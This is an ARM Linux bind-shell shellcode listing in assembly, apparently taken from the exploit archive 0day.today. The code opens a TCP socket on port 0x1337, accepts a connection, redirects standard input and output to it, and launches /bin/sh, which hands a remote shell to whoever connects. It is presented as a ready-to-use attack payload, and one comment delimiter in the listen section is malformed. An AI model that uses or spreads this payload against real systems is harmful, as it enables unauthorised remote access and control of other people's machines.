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linux/ARM - Bindshell port 0x1337 Shellcode
[===========================================
linux/ARM - Bindshell port 0x1337 Shellcode
===========================================
/*
* Title: arm-bind-listen
* Brief: Bind a shell to port 0x1337 on any local address and
* wait for connections
* Author: Daniel Godas-Lopez <gmail account dgodas>
*/
/*
soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
*/
mov %r0, $2 /* AF_INET */
mov %r1, $1 /* SOCK_STREAM */
mov %r2, $6 /* IPPRTOTO_TCP */
push {%r0, %r1, %r2}
mov %r0, $1 /* socket */
mov %r1, %sp
svc 0x00900066
add %sp, %sp, $12
mov %r6, %r0 /* r6 = soc_des */
/*
bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
*/
.if 0 /* r0 == r6 already */
mov %r0, %r6 /* soc_des */
.endif
mov %r1, $0x37
mov %r7, $0x13
mov %r1, %r1, lsl $24
add %r1, %r7, lsl $16
add %r1, $2 /* port = 0x1337, family = 2 (AF_INET) */
sub %r2, %r2, %r2 /* addr = 0.0.0.0 */
push {%r1, %r2}
mov %r1, %sp /* pointer to sockaddr_in */
mov %r2, $16 /* sizeof(struct sockaddr_in) */
push {%r0, %r1, %r2}
mov %r0, $2 /* bind */
mov %r1, %sp
svc 0x00900066
add %sp, %sp, $20
/*
listen(soc_des, 1);
/*
mov %r1, $1 /* backlog (see man 2 listen) */
mov %r0, %r6 /* soc_des */
push {%r0, %r1}
mov %r0, $4 /* listen */
mov %r1, %sp
svc 0x00900066
add %sp, $8
/*
soc_cli = accept(soc_des, 0, 0);
*/
mov %r0, %r6 /* soc_des */
sub %r1, %r1, %r1
sub %r2, %r2, %r2
push {%r0, %r1, %r2}
mov %r0, $5 /* accept */
mov %r1, %sp
svc 0x00900066
add %sp, %sp, $12
mov %r6, %r0 /* r6 = soc_cli */
/*
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
*/
mov %r1, $2
1: mov %r0, %r6
svc 0x0090003f
subs %r1, %r1, $1
bpl 1b
/*
execve("/bin/sh", parms, env);
*/
sub %r1, %sp, $4 /* argv[0] = "sh" */
sub %r2, %r2, %r2 /* argv[1] = 0x00000000 */
mov %r3, $0x2f
mov %r7, $0x62
add %r3, %r7, lsl $8
mov %r7, $0x69
add %r3, %r7, lsl $16
mov %r7, $0x6e
add %r3, %r7, lsl $24 /* '/' 'b' 'i' 'n' */
mov %r4, $0x2f
mov %r7, $0x73
add %r4, %r7, lsl $8
mov %r7, $0x68
add %r4, %r7, lsl $16 /* '/' 's' 'h' 0x00 */
mov %r5, $0x73
mov %r7, $0x68
add %r5, %r7, lsl $8 /* 's' 'h' 0x00 0x00 */
push {%r1, %r2, %r3, %r4, %r5}
add %r0, %sp, $8 /* filename ptr */
add %r1, %sp, $0 /* argv ptr */
add %r2, %sp, $4 /* env ptr */
svc 0x0090000b
# 0day.today [2024-12-24] #